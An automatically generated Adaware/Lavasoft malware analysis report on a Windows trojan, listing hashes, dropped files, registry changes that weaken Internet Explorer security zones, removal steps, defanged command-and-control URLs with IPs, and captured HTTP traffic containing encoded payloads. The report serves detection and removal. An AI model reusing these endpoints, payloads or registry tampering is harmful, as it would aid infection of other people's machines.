Trojan.Generic.16794433_0beabc9899 – Adaware

Trojan.Generic.16794433 (B) (Emsisoft), Trojan.Generic.16794433 (AdAware), Trojan-PSW.Win32.MSNPassword.FD, Trojan.Win32.FlyStudio.FD, Trojan.Win32.Swrort.3.FD, GenericEmailWorm.YR, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Worm, EmailWorm

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 0beabc9899794cde70e88f3486c23bcf

SHA1: faf4749f2e9a74ba0a451a5d994b18375a5886be

SHA256: ee8b8710eaf04bdcb7c557138769f0fb92039ea83cd176b0b4a593d002705884

SSDeep: 98304:rfhQvwGeRGSfhU yGB4pUEZ/x5 FfJvKFJBAUZLMS:rfhaeRJYq0YfMJVgS

Size: 5160960 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: MicrosoftVisualC50, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, Armadillov171, UPolyXv05_v6

Company: no certificate found

Created at: 2015-02-23 09:42:06

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

setup_675_11002.exe:396
%original file name%.exe:2040

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCacheCounterMutexWininetProxyRegistryMutexWininetConnectionMutexZonesCounterMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!_!MSFTHISTORY!_c:!documents and settings!adm!local settings!temporary internet files!content.ie5!RasPbFileShimCacheMutex

File activity

The process setup_675_11002.exe:396 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@365codes[1].txt (217 bytes)
%Documents and Settings%\All Users\Application Data\SQ PlatForm\UContext.txt (166 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\All Users\Application Data\SQ PlatForm\5261513116262255049 (15 bytes)
%Documents and Settings%\All Users\Application Data\SQ PlatForm\1 (1 bytes)

The process %original file name%.exe:2040 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (198 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[2].txt (497 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[1].txt (312 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (2892 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iwannas.lofter[1].htm (3107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\My Documents\setup_675_11002.exe (3784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@lofter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iwannas.lofter[1].htm (0 bytes)

Registry activity

The process setup_675_11002.exe:396 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 65 F9 72 87 10 42 C2 8E F1 07 29 49 38 89 6E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:2040 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "25 E5 4F F3 8A FD 10 E6 49 30 61 12 A9 65 01 C6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1276x846x32(BGR 0)" = "31,31,31,31"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
371e59bf3e736ed4d0208dc4acd106d3	c:\Documents and Settings\"%CurrentUserName%"\My Documents\setup_675_11002.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Cookies\Current_User@365codes[1].txt (217 bytes)
%Documents and Settings%\All Users\Application Data\SQ PlatForm\UContext.txt (166 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\All Users\Application Data\SQ PlatForm\5261513116262255049 (15 bytes)
%Documents and Settings%\All Users\Application Data\SQ PlatForm\1 (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (198 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[2].txt (497 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[1].txt (312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iwannas.lofter[1].htm (3107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\My Documents\setup_675_11002.exe (3784 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: ?????
Product Version: 1.0.0.0
Legal Copyright: ?????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ????4??
Comments: ????4??
Language: Chinese (Simplified, PRC)

Company Name: Product Name: ?????Product Version: 1.0.0.0Legal Copyright: ?????Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: ????4??Comments: ????4??Language: Chinese (Simplified, PRC)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	1339392	1339392	4.49677	7b25455aa698f275dde567675fb62047
.rdata	1343488	3560952	3563520	4.69427	45077771acac2dd8933d1877ef9c3c6d
.data	4907008	400938	90112	3.67271	80a41c422acf47bc7b371706e07ed23f
.rsrc	5308416	163840	163840	3.23821	5d25c4b6d1285fd3d5457c69670255a8

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://yiyun.n.shifen.com/s/1qWPqOlY
hxxp://8ad69f3b2cca809c.dnspao.com/space_fenghuo_8061.html
hxxp://d1.365codes.net/get_api/Path/UPath2.txt	162.159.210.80
hxxp://d1.365codes.net/get_api/path/urlv2.txt	162.159.210.80
hxxp://d1.365codes.net/get_api/kword/UContext1.txt	162.159.210.80
hxxp://d1.365codes.net/get_api/kword/KeyWordAllent3.txt	162.159.210.80
hxxp://d1.365codes.net/get_api/updata/udate1.txt	162.159.210.80
hxxp://pan.baidu.com/s/1qWPqOlY	123.125.112.218
hxxp://www.kelepan.com/space_fenghuo_8061.html	180.97.221.89
hxxp://iwannas.lofter.com/	101.71.8.138

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /s/1qWPqOlY HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: pan.baidu.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Cache-Control: no-cache

Connection: keep-alive

Content-Length: 7658

Content-Type: text/html

Date: Sat, 04 Jun 2016 18:37:58 GMT

Etag: "5704c854-1dea"

P3p: CP=" OTI DSP COR IVA OUR IND COM "

Pragma: no-cache

Server: nginx

Set-Cookie: BAIDUID=E6A490F27627DCC97C14A931B162179E:FG=1; expires=Sun, 04-Jun-17 18:37:58 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1

Vary: Accept-Encoding

X-Powered-By: BaiduCloud

Yld: 161860391070179062

<!DOCTYPE html>..<html lang="zh-CN">..<head>..<meta charset="UTF-8">..<title>...............</title>..<link href="//pan.baidu.com/ppres/static/images/favicon.ico" rel="shortcut icon">..<link rel="stylesheet" type="text/css" href="//pan.baidu.com/ppres/static/css/error_all.css?t=201303212934">....<script src="/ppres/static/js/buss/error_all.js"></script>..<script src="/ppres/static/thirdparty/header/module_header.js?t=201303212934"></script>..</head>..<body class="error-404">..<div id="doc_main">.. <header class="hd-main clearfix" id="header">.. <a class="f-icon logo" href="//yun.baidu.com" xmlns="hXXp://VVV.w3.org/1999/xhtml"></a>.. <nav class="navs" xmlns="hXXp://VVV.w3.org/1999/xhtml">.. <a class="def-nav current" hidefocus="hideFocus" href="/">......</a>.. <span class="separate"></span>.. <div class="def-nav has-pulldown-special">.. <a class="pulldown-nav" hidefocus="hideFocus" href="//pan.baidu.com" target="_self" style="background-color: rgb(36, 36, 36); color: rgb(216, 216, 216);"> <em class="f-icon" style="background-position: -89px -45px;"></em>...... </a>.. <div class="pulldown app-url" style="display: none;"&

<<< skipped >>>

GET /get_api/Path/UPath2.txt HTTP/1.1

Host: d1.365codes.net

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sat, 04 Jun 2016 18:38:06 GMT

Content-Type: text/plain

Content-Length: 1188

Connection: keep-alive

Set-Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485; expires=Sun, 04-Jun-17 18:38:05 GMT; path=/; domain=.365codes.net; HttpOnly

Last-Modified: Thu, 18 Dec 2014 16:57:00 GMT

Accept-Ranges: bytes

ETag: "862422a4e31ad01:2a05"

Server: yunjiasu-nginx

CF-RAY: 2add7ff462474e5a-DME

fN/8idug8yLg0lXt41WdBDL0hHduMDduVGbsFEZy92V5V2SvQmcvd3avkGch9Fdld2L0VmbuMXZk92Y1YzMuEDZv8iOwRHdoxyLt92YuU3bn92cuc3d39yL6AHd0h2WgACIgASCJoQDdBDL0hHduMDduVGbsFEZy92V5V2SvQmcvd3avkGch9Fdld2L0VmbuMXZk92Y1YzMuEDZv8iOwRHdoxyLt92YuUHZpFmYuc3d39yL6AHd0h2W9U0RBBVRN9ESfRkUPdVWFt0XGVERK0gt82fy Gr5wKM0g8yLJkQXe1iXbRHe05SMlRXYkV3LhRXYkBXdvkGch9Fdld2L0VmbuMXZk92Y1YzMuEDZv8iOwRHdo1DSUFEUfJVRWdVRO9lRFRkCNEUVg8yLJ0lXt41W0hHduEDd4VGdu92QV9CZy92dr9SawF2X0V2ZvQXZu5yclR2bjVjNz4SMk9yL6AHd0hWPIRVQQ9FVOV0RBNVVfZUREpQD9rMqxOPsmCMIv8SCJ0lXt41WwhGcuIXZ0h2TkxWa1J2LpBXYfRXZn9Cdl5mLzVGZvNWN2MjLxQ2LvoDc0RHa9gEVBB1XQVFVFN1XGVERK0g77iaswetswCyLvkQCd5VLetFcoBnLkxWa1JkclZnclN1LpBXQfJXZ2JXZT9SbvNmLud3bkV3a1tmLt9yL6AHd0hWPIRVQQ91QBVkVJx0XGVERK0wtWjdt9rMqxe/ujXLIv8SCJ0lXt41WwhGcus2Ypx2QyVmdyV2UvkGcB9lclZnclN1Lt92Yu42dvRWdrV3au02LvoDc0RHa9gEVBB1XUVlTPN0QB9lRFRkCNcr1YX7wHTTP/1.1 200 OK..Date: Sat, 04 Jun 2016 18:38:06 GMT..Content-Type: text/plain..Content-Length: 1188..Connection: keep-alive..Set-Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485; expires=Sun, 04-Jun-17 18:38:05 GMT; path=/; domain=.365codes.net; HttpOnly..Last-Modified: Thu, 18 Dec 2014 16:57:00 GMT..Accept-Ranges: bytes..ETag: "862422a4e31ad01:2a05"..Server: yunjiasu-nginx..CF-RAY: 2add7ff462474e5a-DME..fN/8idug8yLg0lXt41WdBDL0hHduMDduVGbsFEZy92V5V2SvQmcvd3avkGch9Fdld2L0VmbuMXZk92Y1YzMuEDZv8iOwRHdoxyLt92YuU3bn92cuc3d39yL6AHd0h2WgACIgASCJoQDdBDL0hHduMDduVGbsFEZy92V5V2SvQmcvd3avkGch9Fdld2L0VmbuMXZk92Y1YzMuEDZv8iOwRHdoxyLt92YuUHZpFmYuc3d39yL6AHd0h2W9U0RBBVRN9ESfRkUPdVWFt0XG

<<< skipped >>>

GET /get_api/path/urlv2.txt HTTP/1.1

Host: d1.365codes.net

Cache-Control: no-cache

Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485

HTTP/1.1 200 OK

Date: Sat, 04 Jun 2016 18:38:06 GMT

Content-Type: text/plain

Content-Length: 35556

Connection: keep-alive

Last-Modified: Thu, 04 Jun 2015 11:25:28 GMT

Accept-Ranges: bytes

ETag: "9a71d828b99ed01:2a05"

Server: yunjiasu-nginx

CF-RAY: 2add7ffb52494e5a-DME

=QLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLtoQDt0SLE5URt0SLK0QXe1iXbBDMz0jQPJFUflVRO9UTP50XLNUSMN0XzAjCN0lXt41Wd9DcoBnLvJHcj9SbvNmL1RWahJmL3d3dv8iOwRHdotVX/AHaw5SdklWYi9SbvNmL1RWahJmL3d3dv8iOwRHdotVX/AHaw5ibphXaop3Lt92YuUHZpFmYuc3d39yL6AHd0h2W9skUB10XT91SDlETD9lMwoQDd5VLetVX1RWahJ2W9skUB10XG91SDlETD9lMwoQDd5VLetFMwQTPC9kUQ9lRft0QJx0QfJDMK0QXe1iXbhDN9UETDl1Qft0QJx0QfJDMK0QXe1iXbRjM9UETDl1Qfd1TIN1XxAjCN0lXt41Wd9SbvNmL19WahNnauc3d39yL6AHd0h2W9skUB10XQ1UVK9VMwoQDd5VLetFMwETPYFUTfd1TIN1XxAjCN0lXt41WwETPOlUTfd1TIN1XxAjCN0lXt41WwITPYFUTfdUQQ9FUNVlSfFDMK0QXe1iXbFTPOlUTfdUQQ9FUNVlSfFDMK0QXe1iXbVzM9c1TIN1XxAjCN0lXt41Wv02bj5SdvlWYzpmL3d3dv8iOwRHdo1DTSV1XwAjCN0lXt41WwAjM9UkVP10XOlUTY9FMwoQDd5VLetFM30DUPJFUfVkVP1ETPRlUfBDMK0QXe1iXbBTN9I0TSB1XOlUTUJ0XwAjCN0lXt41WwUTPC9kUQ9lTJRlRFx0XwAjCN0lXt41Ww0TRQlFVft0QJx0QWB1XwAjCN0lXt41WwADMy0TRH5UQS9FVJF0VfRUQPJ1XwAjCN0lXt41Ww0TRH5UQS91QN10XwAjCN0lXt41Wy0jTJ10XD1UTfBDMK0QXe1iXbJTPFdkTBJ1XEF0TS9FMwoQDd5VLetVM94USN9FRB9kUfBDMK0QXe1iXbBDMwATM9MkRC9VRH5UQS9FVJF0VfBDMK0QXe1iXbBDM20zQGJ0XOlUTfRVSBd1XwAjCN0lXt41WwcTPFdkTBJ1XUlUQX9FMwoQDd5VLetFM20jTJ10XUlUQX9FMwoQDd5VLetVMzRWY9UUTB50UTFETD9FMwoQDd5VLetVM9U0QOFUSMxUQfllQUlUTJx0XwAjCN0lXt41Wx0DRJ9VRQlFVD9FMwoQDd5VLetVM9QUSfV0QOFUSMxUQfBDMK0QXe1iXbNTPF1USU9VWSR1XYFUTfBDMK0QXe1iXbBTPBVVRTV1UJ9FMwoQDt0SLHVkQt0SLK0QK39VdklWYi91MooQDt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCN0SLtQkTF1SLtoQDd5VLetFMwMTPC9kUQ9VWF50TN9kTft0QJx0QfNDMK0QXe1iXb11PwhGcu8mcwN2Lt92YuUHZpFmYuc3d39yL6AHd0h2Wd9DcoBnL1RWahJ2Lt92YuUHZpFmYuc3d39yL6AHd0h2Wd9DcoBnLulGephmev

<<< skipped >>>

GET /get_api/kword/UContext1.txt HTTP/1.1

Host: d1.365codes.net

Cache-Control: no-cache

Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485

HTTP/1.1 200 OK

Date: Sat, 04 Jun 2016 18:38:08 GMT

Content-Type: text/plain

Content-Length: 12412

Connection: keep-alive

Last-Modified: Mon, 01 Dec 2014 19:36:36 GMT

Accept-Ranges: bytes

ETag: "b07def1e9edd01:2a05"

Server: yunjiasu-nginx

CF-RAY: 2add8005e24a4e5a-DME

BDM04iM2UDNy4yNuczLyV2c39mcCFVUgYzMuczM18SayFmZhNFI4QjLwUjNx4CMuEzMvUWbvJHaDBSKvt2YldEIltWasBCLM1EVItEKgYzMuczM18CdptkYldVZsBHcBBSKx4iNgQlTgM3dvRmbpdFKgAjL18SYsxWa69WTgoDduV2ZB1iclNXVbpQDdlCMwQjLyYTN0IjL34yNvIXZzd3byJUURByOw4iNvQnblRWayRFI7EjL2ACVOByc39GZul2VgsDMuATMgUUST1EI7UGbilGdhBXbvNGKgAjL18SYsxWa69WTgoDduV2ZB1iclNXVbpQDdZzMuczM18SayFmZhNFI3ETMuATN3EjLw4yMz8SZt9mcoNEIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpEjL2ACVOByc39GZul2VoACMuUzLhxGbpp3bNBiO05WZnFULyV2cVtlCN0lNgQGby92VlhGVgYzMuczM18SayFmZhNFIzYjLwUjNx4CMuEzMvUWbvJHaDBSKvt2YldEIltWasBCLM1EVItEKgYzMuczM18CdptkYldVZsBHcBBSK0YzVPdFI7EjL2ACVOByc39GZul2VoACMuUzLhxGbpp3bNBiO05WZnFULyV2cVtlCN0VMz4yNzUzLpJXYmF2UgQjNuATM0EjLw4iNy8SZt9mcoNEIp82ajV2RgU2apxGIswUTUh0SoASMz4yNzUzL0l2SiV2VlxGcwFEIpEjL1ACVOByc39GZul2VoACMuUzLhxGbpp3bNBiO05WZnFULyV2cVtlCN0lNz4yNzUzLpJXYmF2UgUjMx4SN4kTMuAjL2MzLl12byh2QgkybrNWZHBSZrlGbgwCTNRFSLhCI2MjL3MTNvQXaLJWZXVGbwBXQgkSMuUDIU5EIzd3bk5WaXhCIw4SNvEGbslmev1EI6QnbldWQtIXZzV1WK0QXwIjL54CMuIzLvZ3bOx2bvNEI2MjL3MTNvkmchZWYTBCMxEjLzUDNx4CMucjMvUWbvJHaDBSKvt2YldEIltWasBCLM1EVItEKgYzMuczM18CdptkYldVZsBHcBBSKx4SNgQlTgM3dvRmbpdFKgAjL18SYsxWa69WTgoDduV2ZB1iclNXVbpQDdZzMuczM18SayFmZhNFIw4SOzcjLw4SMvIXZzd3byJUVgcDMx4CMwcTMuAjLyMzLl12byh2QgkybrNWZHBSZrlGbgwCTNRFSLhCI2MjL3MTNvQXaLJWZXVGbwBXQgkSMuYDIU5EIzd3bk5WaXhCIw4SNvEGbslmev1EI6QnbldWQtIXZzV1WK0QX2MjL3MTNvkmchZWYTBSMwEjL5kTNx4CMuAzMvUWbvJHaDBCMwATMuIjLz4CNv42boRHeh1EIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpQjNX90VgsTMuYDIU5EIzd3bk5WaXhCIw4SNvEGbslmev1EI6QnbldWQtIXZzV1WK0QX2

<<< skipped >>>

GET /get_api/kword/KeyWordAllent3.txt HTTP/1.1

Host: d1.365codes.net

Cache-Control: no-cache

Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485

HTTP/1.1 200 OK

Date: Sat, 04 Jun 2016 18:38:08 GMT

Content-Type: text/plain

Content-Length: 103236

Connection: keep-alive

Last-Modified: Mon, 01 Dec 2014 19:37:06 GMT

Accept-Ranges: bytes

ETag: "2d4a3309edd01:2a05"

Server: yunjiasu-nginx

CF-RAY: 2add8007f24b4e5a-DME

oL19Kd3Ivf1HHboCzi P3qvQPb4Wr9v43LL6SdvSTct1rs1KTqx8DLLka82Rv6y9qc1Izi Jfa00Hs3WTMssUu19P70XvOwIXLLdjMwD7M07X9x9Kq8C/ML4GL6JT7zlfMw1ydunfLqNzSp yPskaM/wCdv0OssKzC2QH tOr75IvMyuWs6LDDNs0OwtS93w6O7Tft45yi61S7zJjrwwyswsA8tkSd2PDdwweML6vb6Lbsx9qspyb60pmLLner8HD71s/bvKzqx9jML6SdvSffwLjsrFndyso/uPHczLzCq327tKfb98Wr0oeNL u8q5Gusiet 5C8waTd RXP1K0ALwL8qILLsHHboCTeyieNLQPb4WXDMwIzMsoL19Kdoya6sYjLLka82Rv6yEX73PHvws46uGz7pRTfw6nLwDzS9KzLvlbd/zSLti6ML6SdvS3NyAPszQvf1G/rv4yCuxiey0 c5H7duNPNLmSrp6SctkOb/5Sqx8DLLKfb98iN0hfrz6eOys8Nsuz 0XH9xs0Ow6T7yDPNv0 cy4yizWj616ns9Un9zQHMsHzi/8Sex6vb6Lbsx9q897S7tsc6tyf8r2eet9qMq2ycusMsu3H8yIb/16SdvSLNvETML6v7zB38yySb5zyNxbPLLoebv3q8t1zLx1Osus47yrmb4yK61LjcvLrQDs0NyAP8xxGqw6n7q6yC0zGu10AjM2wiuU3r0in77KzCpGvd0ruM512qv9q8q6yy8Hrq0nGN9BPPtDT808yirHndygbrqSXu19P7vya wsoL19KN2QHqwOD9 VzStQr/uTXLtP3du2HLLDPd03WvyWrs74C9xkaM/wyyw6qL19KN2QH tSzLxEzytGrvsfDr7sXr0oeNL4GL6JT7zJjr03qay8SNLObNw3qfy2Td2PDdwweML6vb6Lbsx9qctjzyp3K/xoaLz5aNuNbLL1r89BvMy0SroOzdui6ML6v7zBXtyNv8r2S91sUvysad6zq8t1zLL u8q5Gusied RXP15vcoXD907OsCNwSzQvf1HHboCrfurqLLQPb4WHDMyYDL6SdvS3M07XNL0ir3QTqxbH9qL3ryrqLLnGN9BrfyG/rvxyS9KXu19PL58euzsccshKszQvf1djMwDzCuxiey0 c5HPas3uLLkaM/w6s15Hd9UzytGrvsEXL2QH tsAvwvWLt3G ufDr7sLeuKLLL4GL6JXL06vLtPnMusEqsyyb2PDdwweMw3SK1Or75Izi 7m yGbcvK3fwzrMLcnc69e6tyf8r2eetsg6t9e79BvMy02s3Ozi 72f1D37zB38ys0M0cvsy3WPvsaN/OzivLvauKft4NHusie9q2atxK0ALHHboCj6tknsoXzC0zGu1rXt95u2cuxyw6 cvIHruU3r0G/L0ELNvETMLdj8 VTqxbH9qLnb0sIP0MP7pRTfw6nroTzS5W3/skPr7Mve17KNLSzLqX7M07X9vya wsQbw43Muxiey0 c5HzCpz2fukaM/wacwObNtD

<<< skipped >>>

GET /get_api/kword/KeyWordAllent3.txt HTTP/1.1

Host: d1.365codes.net

Cache-Control: no-cache

Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485

HTTP/1.1 200 OK

Date: Sat, 04 Jun 2016 18:38:09 GMT

Content-Type: text/plain

Content-Length: 103236

Connection: keep-alive

Last-Modified: Mon, 01 Dec 2014 19:37:06 GMT

Accept-Ranges: bytes

ETag: "2d4a3309edd01:2a05"

Server: yunjiasu-nginx

